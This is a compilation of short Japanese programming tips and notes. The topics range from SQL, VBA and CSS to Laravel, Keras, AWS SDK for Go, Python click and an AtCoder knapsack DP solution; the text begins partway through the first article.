'呼び出し元の関数
Sub GetAbsolutePathNameExFso_Test()
    Const RefPath = "..\Book1.xlsx"

    MsgBox "ルート　：" & ThisWorkbook.Path & vbLf & _
    "相対パス：" & RefPath & vbLf & _
    "絶対パス：" & GetAbsolutePathNameExFso(ThisWorkbook.Path, RefPath)
End Sub
```

## 感想
まあ、こんなこともあります。

## 追記）エラー
引数に絶対パスを入れると想定外の文字列になりますので、
エラーになることを確認しています。
簡単なSQL構文（自分用）

# 初めに 
備忘録として残します。
# 構文
## 検索編
###昇順で抽出

```sql:test.sql
select user_id
      ,last_name
      ,first_name
      ,role_id
 from m_user
 order by user_id 
```

###降順で抽出

```sql:test.sql
select user_id
      ,last_name
      ,first_name
      ,role_id
 from m_user
 order by user_id desc
```
###条件で抽出

```sql:test.sql
select user_id
      ,last_name
      ,first_name
      ,role_id
 from m_user
 where user_id = 'あいう'
 order by user_id desc
```

###条件で抽出（〇〇～）

```sql:test.sql
select user_id
      ,last_name
      ,first_name
      ,role_id
 from m_user
 where user_id Like'n%'
 order by user_id desc
```

###NULLが検索条件

```sql:test.sql
select user_id
      ,last_name
      ,first_name
      ,role_id
 from m_user
 where user_id is null
 order by user_id desc
```

## 追加編
###単純な追加
**カラム順番通りに並べて**

```sql:test.sql
insert into syain (id,name,romaji) values (1,'鈴木','suzuki');
```

**結果**

| id | name | romaji |
|:-----------|------------:|:------------:|
| 1       | 鈴木        | suzuki         |
visual studio codeの全角スペースを可視化する


# 半角スペースの可視化

- 設定ファイルを開く(ctrl + ,)
- ユーザ > テキストエディタ > ファイルの「setting.jsonで編集」をクリック
- 以下を追記

```javascript
"editor.renderWhitespace": "all",
```

# 全角スペースの可視化
- 拡張機能で「zenkaku」を検索し、インストール
- (windows10の場合)C:\Users\ユーザ名\\.vscode\extensions\mosapride.zenkaku-0.0.3\extension.jsの5行目
- (MACの場合)/Users/ユーザ名/.vscode/extensions/mosapride.zenkaku-0.0.3/extension.js

```javascript
var enabled = false;
```
をtrueに変更する

上記手順で**常時zenkaku拡張機能が有効**になる
Custom Field Suite のループで配列の最初の要素を取得する

WordPressのプラグイン Custom Field Suite のループで、最初の要素を取得したい時のコードです。

```
<?php
  $loop = CFS()->get('loop');
  $loop_item = $loop[0]['loop_item'];
  echo $loop_item ;
?>
```

#参考URL
[Custom Field Suite でループ項目のn番目の画像があるかどうかでの条件分岐での不具合について](https://ja.wordpress.org/support/topic/custom-field-suite-%E3%81%A7%E3%83%AB%E3%83%BC%E3%83%97%E9%A0%85%E7%9B%AE%E3%81%AEn%E7%95%AA%E7%9B%AE%E3%81%AE%E7%94%BB%E5%83%8F%E3%81%8C%E3%81%82%E3%82%8B%E3%81%8B%E3%81%A9%E3%81%86%E3%81%8B%E3%81%A7/)
本日の精進：個数制限なしナップザックDP類題(ABC153-E)

ナップザックDPを完全に理解してしまったかも知れない．

[ABC153-E Crested Ibis vs Monster](https://atcoder.jp/contests/abc153/tasks/abc153_e)
競プロフレンズさん作問の問題．
いくつかの魔法を使ってモンスターのHPを0にしたい．この時の消費MPの最小値を求める．ただし，魔法の使用回数に制限はない，という問題．
いかにもDPといった感じの問題で，いい感じにやりがいがありました．

一番に思い付くのは2次元DPを用いた解法で，以下のようなDPを考えればよい．

$ dp[i+1][h] $:$i$番目までの魔法を使ってHPを$h$だけ減らすときの最小消費MP

遷移式は以下の通り．$min$($i$番目の魔法を使わない場合，使う場合)という遷移．

$ dp[i+1][h] = min(dp[i][h], dp[i+1][h-a[i]] + b[i]) $
$h-a[i]$が0以下になる場合があるが，その時は単に，
$ dp[i+1][h] = min(dp[i][h], dp[i+1][0] + b[i]) $
とすればよい．まあ，$dp[i+1][0]=0$なんですが．

同じ魔法を何回も使えるので，遷移式を$dp[i+1][h-a[i]] + b[i]$と書いている点に注意する．これは，$i$番目の魔法を$k$回使用した場合，その消費魔力は[$k-1$回使用した際の消費魔力]+$b[i]$であるため．蟻本にその辺の話が詳しく書いてあります．

```AC.cpp
#include <bits/stdc++.h> //library
#define rep(i, n) for(int i = 0; i < (int)(n); i++) //for-loop (from 0)
#define reps(i,n) for(int i = 1; i <= (int)(n); i++) //for-loop (from 1)

using namespace std;
using ll = long long; //long long
ll M = 1000000000 + 7;
const ll INF = 1LL << 60;

ll dp[1010][20200]; // dp[i+1][h]:i番目までの魔法を使って体力をh減らすのに必要な最小魔力

int main(void) {
  int H,N; cin >> H >> N;
  vector<int> a(N),b(N);
  int max_A = 0;
  rep(i,N){
    cin >> a[i] >> b[i];
    chmax(max_A,a[i]);
  }
  rep(i,1010) rep(h,20200) dp[i][h]=INF;
  
  dp[0][0] = 0;
  
  rep(i,N){
    rep(h,H+max_A+1){
      if (h-a[i] > 0) dp[i+1][h] = min(dp[i][h], dp[i+1][h-a[i]]+b[i]);
      else dp[i+1][h] = min(dp[i][h], dp[i+1][0]+b[i]);
    }
  }
  
  cout << dp[N][H] << "\n";
  
  return 0;
}

```

一方，よくよく考えてみると，遷移式には高々1ステップ前までの計算結果しか登場しない．
よって，実は1次元DPで記述できる．すなわち，

$ dp[h] $:HPを$h$だけ減らすときの最小消費MP

と書ける．

```AC.cpp
#include <bits/stdc++.h> //library
#define rep(i, n) for(int i = 0; i < (int)(n); i++) //for-loop (from 0)
#define reps(i,n) for(int i = 1; i <= (int)(n); i++) //for-loop (from 1)

using namespace std;
using ll = long long; //long long
ll M = 1000000000 + 7;
const ll INF = 1LL << 60;

ll dp[20200]; // dp[h]:体力をh減らすのに必要な最小魔力

int main(void) {
  int H,N; cin >> H >> N;
  vector<int> a(N),b(N);
  int max_A = 0;
  rep(i,N){
    cin >> a[i] >> b[i];
    chmax(max_A,a[i]);
  }
  rep(h,20200) dp[h]=INF;
  
  dp[0] = 0;
  
  rep(i,N){
    rep(h,H+max_A+1){
      if (h-a[i] > 0) chmin(dp[h], dp[h-a[i]]+b[i]);
      else chmin(dp[h], dp[0]+b[i]);
    }
  }
  
  cout << dp[H] << "\n";
  
  return 0;
}

```

実行時間や使用メモリ量には以下のような差が出る．上が1次元，下が2次元．特に使用メモリ量に劇的な差が生じていますね．
![1次元DP_vs._2次元DP.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/187596/66107db9-6914-e58b-85e3-1c70145e2550.png)
Vueitfy でフォームバリデーション失敗時、最初のコンポーネントにスクロールさせる

# 概要
- vuetify はフォームのバリデーション機能がある
  - https://vuetifyjs.com/en/components/forms/
- 縦にスクロールするフォームを作成して送信ボタンが一番下にある場合、上部のフィールドでエラーが発生していても気づきにくい
- 最初にエラーが発生したコンポーネントまでスクロールさせたい

# サンプル
![form.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/517184/e88973df-6ad8-a9f3-d367-5ac279ce76de.gif)

# 動作確認
- 以下ページで動きを確認できます
  - https://yoshihiro-hirose.github.io/nuxt-vuetify-sample/samples/form-scroll

# 対応方法
- フォームから inputs で入力フィールドの一覧を走査
- 最初に見つかったフィールドに対して、vuetify の API でスクロールさせる
  - https://vuetifyjs.com/en/styles/scroll/

```typescript
    post(): void {
      const form = this.$refs.form;
      if (!form.validate()) {
        const firstError = form.inputs.find((input: any) => input.hasError);
        this.$vuetify.goTo(firstError, { offset: 100 });
        return;
      }

      alert('(仮) POST します');
    }
```

# こだわりポイント
- そのまま goTo させると、対象コンポーネントがピタッとくっついてしまう
- マウスホイールでちょっとスクロールした。くらいの位置を実現するため `offset: 100` を指定している

# ソースコード
https://github.com/Yoshihiro-Hirose/nuxt-vuetify-sample/blob/master/pages/samples/form-scroll.vue
clickを使ってサブサブコマンドを作る - netsted sub-sub command -

# 概要

pythonでコマンドライン解析ツールを使ってコマンドラインツールを作る場合、用いられるモジュールは大きく分けて以下の3つ。

- argparse
- [click](https://click.palletsprojects.com)
- fire

argparseは標準ライブラリと言うことで何も考えずに使えるという利点がありclickは標準モジュールではない故に標準ライブラリでは実装しづらい事を簡単に実装できるようになっている。

なお、fireについては使ったことがないのと、コマンドライン解析ツールの紹介を目的としている記事ではないのでここではこれ以上の比較・説明は割愛する。

## clickを使ったサブコマンドの作成方法

clickを使ったサブコマンドの作成方法は以下の通り。

- https://click.palletsprojects.com/en/7.x/quickstart/#nesting-commands

実際に動作するプログラムを作るならば以下のようになる。

```python
import click

@click.group()
def cli():
    pass

@cli.command()
def initdb():
    click.echo('Initialized the database')

@cli.command()
def dropdb():
    click.echo('Dropped the database')

def main():
    cli()


if __name__ == "__main__":
    main()
```

```bash
$ python3 cli.py 
Usage: cli.py [OPTIONS] COMMAND [ARGS]...

Options:
  --help  Show this message and exit.

Commands:
  dropdb
  initdb
```
```bash
$ python3 cli.py dropdb
Dropped the database
$ python3 cli.py dropdb --help
Usage: cli.py dropdb [OPTIONS]

Options:
  --help  Show this message and exit.
```
```bash
$ python3 cli.py initdb --help
Usage: cli.py initdb [OPTIONS]

Options:
  --help  Show this message and exit.
```
```bash
$ python3 cli.py initdb
Initialized the database
```

## サブサブコマンドの作り方

上記は ``program command <options>``　とする場合の作り方がだが
昨今のkubectl等は ``kubectl get pods <options>``のようにサブコマンドを二つ受け取るような物が増えてきている。
従って自身が作る場合はどのようにすれば良いか。

clickのドキュメントを読んでもサブコマンドの作り方は書いてあるがサブサブコマンドの作り方は書いていない。
いくつかドキュメントやWebを探し回って以下の方法が綺麗だと思ったので作ってみた。


```bash
.
├── modules
│   ├── sub1.py
│   └── sub2.py
└── cli.py
```

```python
import click
from modules import sub1
from modules import sub2

@click.group()
def cli():
    pass

def main():
    cli.add_command(sub1.sub1cli)
    cli.add_command(sub2.sub2cli)
    cli()


if __name__ == "__main__":
    main()
```

```python
import click

@click.group()
def sub1cli():
    pass

@sub1cli.command()
def sub1cmd1():
    click.echo('sub1cmd1')

@sub1cli.command()
def sub1cmd2():
    click.echo('sub1cmd2')
```

```python
import click

@click.group()
def sub2cli():
    pass

@sub2cli.command()
def sub2cmd1():
    click.echo('sub2cmd1')

@sub2cli.command()
def sub2cmd2():
    click.echo('sub2cmd2')
```

このように、clickの add_command でclick.groupを追加してやると作れる。

```bash
$ python3 cli.py 
Usage: cli.py [OPTIONS] COMMAND [ARGS]...

Options:
  --help  Show this message and exit.

Commands:
  sub1cli
  sub2cli
```
```bash
$ python3 cli.py sub1cli
Usage: cli.py sub1cli [OPTIONS] COMMAND [ARGS]...

Options:
  --help  Show this message and exit.

Commands:
  sub1cmd1
  sub1cmd2

```
```bash
$ python3 cli.py sub2cli
Usage: cli.py sub2cli [OPTIONS] COMMAND [ARGS]...

Options:
  --help  Show this message and exit.

Commands:
  sub2cmd1
  sub2cmd2
```
#Rails #rspec で SQLクエリ発行を標準出力する

`ActiveRecord::Base.logger = Logger.new(STDOUT)` をどこかに書くだけでok

よく使う場合は rails_helper に定義するなり、 before after できれいに処理するなりするする

```rb
require 'rails_helper'

RSpec.describe do
  before do
    ActiveRecord::Base.logger = Logger.new(STDOUT)
  end

  it do
    ...
  end
end
```


# Original by Github issue

https://github.com/YumaInaura/YumaInaura/issues/3054








<!-- Update From Qiita API -->

# チャットメンバー募集


何か質問、悩み事、相談などあればLINEオープンチャットもご利用ください。

https://line.me/ti/g2/eEPltQ6Tzh3pYAZV8JXKZqc7PJ6L0rpm573dcQ





# Twitter


https://twitter.com/YumaInaura


<!-- Update From Qiita API -->
MFAとAssume IAM Roles を使って環境でAWS SDKをGoで操作する

# はじめに

マルチアカウント運用でAssumeRoleするかつ、MFA入力必須な場合、awscli等の操作も含めてややこしいですよね。awscliはともかく、AWS SDK for Goを使った上記の例が少いように見受けられたので残しておきます。

# 結論

MFAとAssume IAM Roles を使って環境でAWS SDKをGoで操作する方法は...

* `AssumeRoleTokenProvider` を用います
* MFAトークンを標準入力する場合は `stscreds.StdinTokenProvider` を利用すると良いです
    * そうすると、下記のような入力を求められるようになります

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/6463/d76b4c3b-9558-1bed-df28-e12fc4e48c21.png)


# コード

例として、LambdaのCloudWatchLogsのLogStreamを検索するコードです。

```go:AssumeRoleしつつMFAを利用する場合
func main() {
	var (
		logGroup        = "/aws/lambda/<YourAppName>"
		logStreamPrefix = "2020/04/01" // 適当な日付
	)

	svc := cloudwatchlogs.New(
		session.Must(session.NewSessionWithOptions(session.Options{
			SharedConfigState:       session.SharedConfigEnable,
			AssumeRoleTokenProvider: stscreds.StdinTokenProvider, // MFAのときは必須
		})),
		&aws.Config{
			Region: aws.String(os.Getenv("AWS_REGION")),
		},
	)

	stm, err := svc.DescribeLogStreamsWithContext(ctx, &cloudwatchlogs.DescribeLogStreamsInput{
		LogGroupName:        aws.String(logGroup),
		LogStreamNamePrefix: aws.String(logStreamPrefix),
		NextToken:           nil,
	})
	if err != nil {
		log.Fatal(err)
	}


	for _, v := range stm.LogStreams {
		fmt.Println(aws.StringValue(v.LogStreamName), aws.Int64Value(v.CreationTime))
	}
}
```

MFAトークンを正しく入力さえできれば、ログストリームの一覧を取得できたと思います。


# 参考

https://aws.amazon.com/jp/blogs/developer/assume-aws-iam-roles-with-mfa-using-the-aws-sdk-for-go/
SCSSの環境構築方法いろいろ

#SCSSとは?
SCSSは、CSSに演算機能や変数、ネストなどを用いることで、より効率的に書けるようにした、Sassの記法の1種です。
Sassには、SASS記法とSCSS記法があります。
SASS記法では中かっこを使用しないので、可読性やCSSとの互換性と引き換えに、より短く書くことができます。
SCSS記法ではCSSと同様に中括弧{}を使用するため、SASS記法と比べて見た目がCSSに近くなり、可読性が高まったりCSSを混ぜて記述することができるといったメリットがありますが、少しだけコードが長くなります。
#コンパイルの方法
ブラウザはHTML、CSS、JavaScript以外の言語を読み込むことができないので、拡張子が.scssのSCSSは事前にCSSに変換してあげる必要があります。このSCSSからCSSに変換する作業のことをコンパイルと言います。
コンパイルの仕方はいくつかありますが、ここでは4つの方法を紹介します。
##①専用のサイトを使用する方法
SassをCSSに変換してくれる、[Sass Meister](https://www.sassmeister.com/)というサイトがあります。
このサイトでは、下の写真のようにSassで書いたコードを自動でCSSにコンパイルしてくれるので環境構築も必要なく、とりあえず試してみたい学習者に適しています。
![SassMeister _ The Sass Playground! - Google Chrome 2020_03_30 1_58_24.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/431701/a7dd07a7-4d03-7bd9-6bd6-c99040371f74.png)
##②Rubyを使う方法
この方法は、自身のパソコンにRubyをインストールしている必要があります。
Macを使用している方はデフォルトでRubyが入っているので問題ありませんが、Windowsを使用している方はセットアップが必要です。
Windowsを使用している方は[こちら](https://github.com/oneclick/rubyinstaller2/releases/download/RubyInstaller-2.6.5-1/rubyinstaller-devkit-2.6.5-1-x64.exe)からダウンロードした後、画面に従ってインストールを行ってください。
----------------ここからはMac、Windows共通で行う必要があります。-------------------------
ターミナル(コマンドプロンプト)を起動して、以下のコマンドを打ち込んでください。

```bash
$gem install sass
```
これでインストールに成功すれば準備完了です。
SCSSを記述しているファイルがあるディレクトリに移動して以下のコマンドを実行してください。

```bash
$sass qiita.scss:qiita.css
```
ファイル名は適宜変更してください。
コロンの前が元のSCSSファイル名、後が生成されるCSSファイルの名前になります。
これだけです。
これを実行すると、SCSSがあったディレクトリにCSSファイルが新たに生成されます。
このコマンドには実行時にオプションを付けることができます。

①圧縮オプション

```bash
$sass qiita.scss:qiita.css --style compressed
```
これを実行すると改行がない圧縮された状態で出力されるので、可読性の低下と引き換えにサイトの表示を早めることができます。
基本的にスタイルシートはSCSSを使って管理することになると思うので、CSSファイルの可読性の低さはあまり問題にはならないと思います。

②監視オプション

```bash
$sass --watch qiita.scss:qiita.css
```
開発途中で毎回コマンドを実行するのはあまりにも効率が悪いです。
このコマンドを実行すると、SCSSファイルの変更を検知して、その部分をCSSファイルに自動で反映してくれます。
開発中は基本的にこれを使うことになると思います。
##GUIソフトを使用する方法
Sassには、コンパイルするためのGUIソフトが用意されています。
よく使われるのは、[Prepros](https://prepros.io/)と[Koala](http://koala-app.com/?reqp=1&reqr=)です。

###Prepros
![Prepros 2020_03_30 2_30_30.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/431701/f19faf12-7e28-4a78-4e1f-8f0029a623cd.png)
###Koala
![Koala - a cool tool for web developers 2020_03_30 2_33_30.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/431701/d8124b4a-3baf-3efa-c264-a9a8189dc80d.png)
PreprosもKoalaも使い方はほとんど同じです。
ファイルをドラッグして、コンパイルしたいファイルを選択、Preprosなら右下のProcess Fileを、KoalaならConpileをクリックすれば終わりです。
##VSCodeを使用する方法
エディタであるVSCodeでも、拡張機能を使用することでコンパイルが可能です。
Live Sass Compilerという拡張機能をインストールして有効化すると画面の右下にWatch Sassというボタンが表示されます。
これをクリックすると、自動でSassのコンパイルが始まり、変更があればその都度CSSファイルに反映してくれます。

#まとめ
長くなりましたが、これでSCSS(正確にはSASSも)を使う準備ができました。
実際にSCSSを書く時の記法は[こちら](https://qiita.com/I-T/items/a03a02f32cb34d264241)をご覧ください。
[初心者向け] laravel　ルーティング

#ルーティング
アクセスしたアドレスを元に処理を割り振ること。

phpのときはwebappっていうフォルダの中にhello.phpファイルを用意すれば、**http:〇〇_webapp/hello.php**でアクセスできましたが、
laravelでは特定のアドレスにアクセスすると、**そのアドレスに割り当てられたプログラム**が実行されます。
このように「〇〇というアドレスにアクセスしたら、✖️✖️という処理を呼び出す」
という関連付けを行っている機能。

routesフォルダにあるweb.phpを開きます。

```php:web.php
<?php
Route::get('/', function () {
    return view('welcome');
});
```
これは、laravelのあの白いページを表示させる処理です。

###ルートの情報の基本（GETアクセス）
**Route::get(アドレス, 関数など);**
getメソッドでアドレスと処理を割り当てる
第一引数：アドレス
第二引数：アドレスによって呼び出される処理（関数、コントローラーなど）

では、web.phpをみていきましょう。
第一引数は'/'でトップページを表していて、
第二引数は関数を指定しています。
内部では、returnで返り値を指定。返される値が、そのアドレスにアクセスした時に表示される内容。
view関数を使うことで「views」フォルダのテンプレートファイルを使用できる。
（viewsファイルはresourcesフォルダにあります）

では、welcome.blade.phpをみていきましょう。

<img width="1339" alt="スクリーンショット 2020-03-28 13.15.18.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/453557/ac7662e5-c8b0-6b50-1512-627b24011a54.png">

laravelのところなどを書き換えてみるとブラウザに反映されているのが分かります。
＠で始まる文はHTMLでもPHPでもなく、Bladeというlaravelのソースコードです。
「view」フォルダの中にテンプレートファイルが用意されそれをview関数で読み込んでいます。

##HTMLを出力する
次は実際に動かしてみましょう
routesフォルダのweb.phpを開いて以下を追加してください

```php:web.php
<?php
Route::get('hello', function () {
    return '<html><body><h1>Hello</h1><p>This is sample page.
        </p></body></html>';
});
```
書いたら、htpp://localhost:8000/helloにアクセスをすると
<img width="418" alt="スクリーンショット 2020-03-30 14.24.57.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/453557/ce137e25-7978-991b-dce5-217dff95f764.png">
となれば成功です。

returnでHTMLのコードを直接渡すことで、そのソースコードがWebブラウザへと送られているのが分かります。

##ルートパラメータ
**Route::get('〇〇/{パラメータ}', function($受け取る引数）{・・・});**
getの第一引数に{パラメータ}とパラメータを指定し、関数に引数を用意することで、アクセスしたアドレスからパラメータを取り出せる。

```php:web.php
<?php
Route::get('hello/{msg}',function($msg){
    $html = <<<EOF
    <html>
    <head>
    <title>Hello</title>
    </head>
    <body>
      <h1>Hello</h1>
      <p>{$msg}</p>
      <p>これはサンプルページで作ったページです。</p>
    </body>
    </html>
    EOF;

      return $html;
});
```
<img width="383" alt="スクリーンショット 2020-03-30 15.17.10.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/453557/916d7880-ef37-a418-cf7e-ee48ac73800e.png">

今回はlocalhost:8000/hello/の後にaaaaaと入力しました。
そうすると$msgにパラメータが代入され、表示されています。

先ほどのは必須パラメータといいパラメータを指定しないとエラーになります。
パラメーターをつけなくてもアクセスできるようにするには、任意パラメータを使いましょう。

```php:web.php
<?php
Route::get('hello/{msg?}',function($msg='no massage.'){ ・・・・
```
とパラメータに「？」を付け、$msgに初期値を与えるとパラメータがなくてもアクセスできます。
<img width="383" alt="スクリーンショット 2020-03-30 15.24.59.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/453557/b26490f7-8389-b134-ccce-ba6b8109aad8.png">

となれば成功です。
java弄ってた時に出たエラー

Not only pythonエラー備忘録 but also java備忘録

#メモ
<b>文字列の設定</b>
String型に値を設定する場合は""、char型に値を設定する場合は''を使おう。

#エラー集
###java.lang.IllegalStateException: closed
<b>エラーメッセージ</b>

```java:example.java
example E/AndroidRuntime: FATAL EXCEPTION: OkHttp Dispatcher
    Process: example, PID: XXXXX
    java.lang.IllegalStateException: closed
        at okio.RealBufferedSource.select(RealBufferedSource.kt:83)
        at okhttp3.internal.Util.readBomAsCharset(Util.kt:254)
        at okhttp3.ResponseBody.string(ResponseBody.kt:171)
        at example.AsyncHttp$1.onResponse(AsyncHttp.java:107)
        at okhttp3.RealCall$AsyncCall.run(RealCall.kt:138)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1162)
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:636)
        at java.lang.Thread.run(Thread.java:764)
```
<b>状況&原因</b>
okhttpを使ってサーバ上のテキストを読み取って(GETして)response.body().string()で中身取り出してあれやこれややろうとした。
<a href="https://github.com/square/okhttp/issues/1240">ココ</a>によるとresponse.body().string()は<b>一度しか</b>呼べないとのこと。
今回はログ出力で1回、変数格納で1回の計2回呼び出していた。
<b>オチ</b>
ログ出力の方をコメントアウトしたところ、問題なく動作した。
Responseはとっとと変数に格納するのがよさそうね。


###Cannot resolve symbol 'REQUEST_ENABLE_BLUETOOTH'
<b>状況&解決策</b>
AndroidのBluetooth機能のチェック時に発生
参考にしたページ曰く初期化してやればいいとの事

```example.java
int REQUEST_ENABLE_BLUETOOTH = 0;//こんな感じに
```

参考：
https://stackoverflow.com/questions/50948225/cannot-resolve-symbol-request-enable-bluetooth
【AWS EC2】Amazon Linux2にMySQLのclientだけをインストールしてRDSに接続する方法

# 概要
- AWSでDB(MySQL)はRDSを使うのでEC2にMySQLは入れたくない
- EC2から`mysql`コマンドでRDS上のMySQLに接続したい
- というわけで、EC2にMySQLのクライアントだけをインストールします

# 環境
- AWS EC2
 - OS: Amazon Linux 2
 - AMI ID: amzn2-ami-hvm-2.0.20200304.0-x86_64-gp2
- RDS
 - engine: MySQL Community
 - version: 8.0.17

# 構築手順
## 1. すでにインストールされているmariadbを取り除く
- Amazon Linux2にはMariaDBがデフォルトでインストールされている
- 干渉したら困るので念のため削除しておく

```console
$ yum list installed | grep mariadb
mariadb-libs.x86_64                   1:5.5.64-1.amzn2               installed
$ sudo yum remove mariadb-libs
Removed:
  mariadb-libs.x86_64 1:5.5.64-1.amzn2
Dependency Removed:
  postfix.x86_64 2:2.10.1-6.amzn2.0.3
Complete!
```

## 2. mysql8.0のリポジトリを追加する
- `yum info`でmysql8.0がインストールできるか確認する
- インストールできないのでmysql8.0のリポジトリを追加する

```console
$ yum info mysql
Loaded plugins: extras_suggestions, langpacks, priorities, update-motd
31 packages excluded due to repository priority protections
Error: No matching Packages to list

$ sudo yum localinstall -y https://dev.mysql.com/get/mysql80-community-release-el7-3.noarch.rpm
Installed:
  mysql80-community-release.noarch 0:el7-3
```

## 3. mysql8.0のリポジトリを有効化する
- `mysql80-community-release-el7-3.noarch`の中にmysql5.7も入っている
- 今回はmysql8.0をインストールしたい
 - mysql5.7のリポジトリを無効化し、mysql8.0のリポジトリを有効化する

```console
$ sudo yum-config-manager --disable mysql57-community
$ sudo yum-config-manager --enable mysql80-community
```

## 4. mysql-community-clientをインストールする
```console
$ sudo yum install -y mysql-community-client
Installed:
  mysql-community-client.x86_64 0:8.0.19-1.el7
Dependency Installed:
  mysql-community-common.x86_64 0:8.0.19-1.el7                               mysql-community-libs.x86_64 0:8.0.19-1.el7
  ncurses-compat-libs.x86_64 0:6.0-8.20170212.amzn2.1.3
Complete!

$ mysql --version
mysql  Ver 8.0.19 for Linux on x86_64 (MySQL Community Server - GPL)
```

## 5. RDSに接続する
- EC2からRDSへの3306ポートの通信は許可してあるものとする

```console
$ mysql -h hoge.rds.amazonaws.com -P 3306 -u root -p
Enter password:
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
+--------------------+
3 rows in set (0.03 sec)
```

# 参考
- [Amazon Linux2にMySQLクライアントを４バージョンいれてみた。Ansible Playbookを添えて](https://dev.classmethod.jp/articles/amazon-linux2-mysqlclient/)
- [Installing MySQL on Linux Using the MySQL Yum Repository](https://dev.mysql.com/doc/refman/8.0/en/linux-installation-yum-repo.html)
Google Colaboratoryと手元の環境で、結果が微妙に異なっていた原因

手元にあるPC（Ubuntu＋GeForce RTX2080Ti）とGoogle Colaboratoryとで、実行結果が微妙に異なっていた原因について調べてみました。
自分用のメモと投稿の練習も兼ねて、記録しておきます。
##きっかけ
機械学習の勉強のため、CIFAR-10のデータセットを用いたチュートリアルをいろいろ試していました。
Google Colaboratoryも使えれば作業効率が上がると思って試したところ結果が異なっていたため、手元の環境と同時利用するにも不便かと思い原因を探っていました。

手元の環境では、TensorFlowは1.15.0、kerasは2.3.1を使用しています。
Google Colaboratoryの方では「%tensorflow_version 1.x」指定で使用しており、TensorFlowは1.15.2が使用されているようで、Kerasは2.2.4-tfのようです。
##どう異なっていたか
Google Colaboratoryでは
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/541088/a0274c9b-69cf-0263-45c5-430228729a3c.png)
これくらいなのが、手元の環境では同一コードでも
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/541088/1fa54c63-e9ca-f42b-9218-1dfa2e2b48d6.png)
こんな感じになってしまいました。ひどい。
何度試してみても、上下幅が大きいことには変わりませんでした。
##解決策
いろいろ試してみた結果、

```python
from keras.models import Sequential
from keras.layers import Dense, Dropout, Activation, Conv2D, MaxPool2D, Flatten, BatchNormalization
from keras.optimizers import Adam, RMSprop
from keras.utils import to_categorical
from keras.callbacks import EarlyStopping, ModelCheckpoint
from keras.preprocessing.image import ImageDataGenerator
from keras.datasets import cifar10
```
これを

```python
from tensorflow import keras
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Dense, Dropout, Activation, Conv2D, MaxPool2D, Flatten, BatchNormalization
from tensorflow.keras.optimizers import Adam, RMSprop
from tensorflow.keras.utils import to_categorical
from tensorflow.keras.callbacks import EarlyStopping, ModelCheckpoint
from tensorflow.keras.preprocessing.image import ImageDataGenerator
from tensorflow.keras.datasets import cifar10
```
このように「from keras.\*」の部分を「from tensorflow.keras.\*」と書き換え、「from tensorflow import keras」行を追加したところ改善されました。
##修正後の結果
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/541088/7ec7fdd9-0a1c-8623-4baa-fa7bdb838a95.png)
手元の環境でも、このくらいに落ち着きました。

詳しい人から見ると当たり前のことだったりするのかもしれませんが、こういうケースもあるんだなぁ、くらいで見ていただければと。

ちなみに、Google Colaboratory環境の方は書き換えてもあまり変わりませんでした。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/541088/f6f07f88-62d7-8987-201c-01e28d7327e0.png)
Kerasのバージョンが「2.2.4-tf」となっていることから、「tensorflow.keras.\*」と指定しなくても、TensorFlowに組み込まれたKerasが使用されるということかもしれません。
[Python]漢字をひらがなに変換してくれる便利なライブラリ

pykakasiを使うことで漢字、ひらがな、カタカナの変換を簡単に行うことができます。

コマンドプロンプトで以下のコマンドを入力することでライブラリをインストールすることが可能になります。

```
pip install pykakasi
```

使用例

```Python:test.py

from pykakasi import kakasi

kakasi = kakasi()
kakasi.setMode('J', 'H') #漢字からひらがなに変換
kakasi.setMode("K", "H") #カタカナからひらがなに変換
conv = kakasi.getConverter()

str = '東京タワー'

print(conv.do(str))

```

実行結果

```
python test.py
とうきょうたわー
```

こんな感じで変換することができるので機会があればぜひ使ってみて下さい。
なるほどメモ_1

#####ひとつの親要素の中で子要素をそれぞれ左寄せと右寄せにするには...

親要素に対して
display: flex;
 justify-content: space-between;

---
#####太字じゃなくするのは
font-weight: normal;

---
#####行の高さを指定するのは
line-height:px;

---

#####スクロールしても固定させるのは
position: fixed;

#####固定部分と画像が重なるときは、
z-index: 9999;

---

#####背景画像を指定するのは
background-image: url();

#####背景画像を領域いっぱいに広げるのは
background-size: cover;

---

padding:上　右　下　左;

---

#####liの中にaタグ使ってるときのテキストスタイルを変更するときはaタグに対して指定する
a{
text-decoration: none; 
    color:white;
}

---
BitbucketからGit Hubへの移行

Git Hubも使えるようになりたいのでメモ

git hubにログインします。
ホーム画面でRepositoriesの中の右側にあるnewを選択。
リポジトリ名とBitbucketのurlを張り付けて公開/非公開選択し、createボタン選択。

```ruby:console
git remote set-url origin git hubのURL
```
これで完了です。
Pandasでタブで区切っているファイルを読み込む方法

```
df = pandas.read_table("sample.csv")
```

```sample.csv
a	b	c	d
1	2	3	4
5	6	7	8
```

https://ja.stackoverflow.com/questions/35394/csv%E3%82%92pandas%E3%81%A7%E6%89%B1%E3%81%86%E9%9A%9B%E3%81%AE%E3%82%B9%E3%83%9A%E3%83%BC%E3%82%B9%E5%8C%BA%E5%88%87%E3%82%8A%E3%81%AE%E5%95%8F%E9%A1%8C
https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.read_table.html#pandas.read_table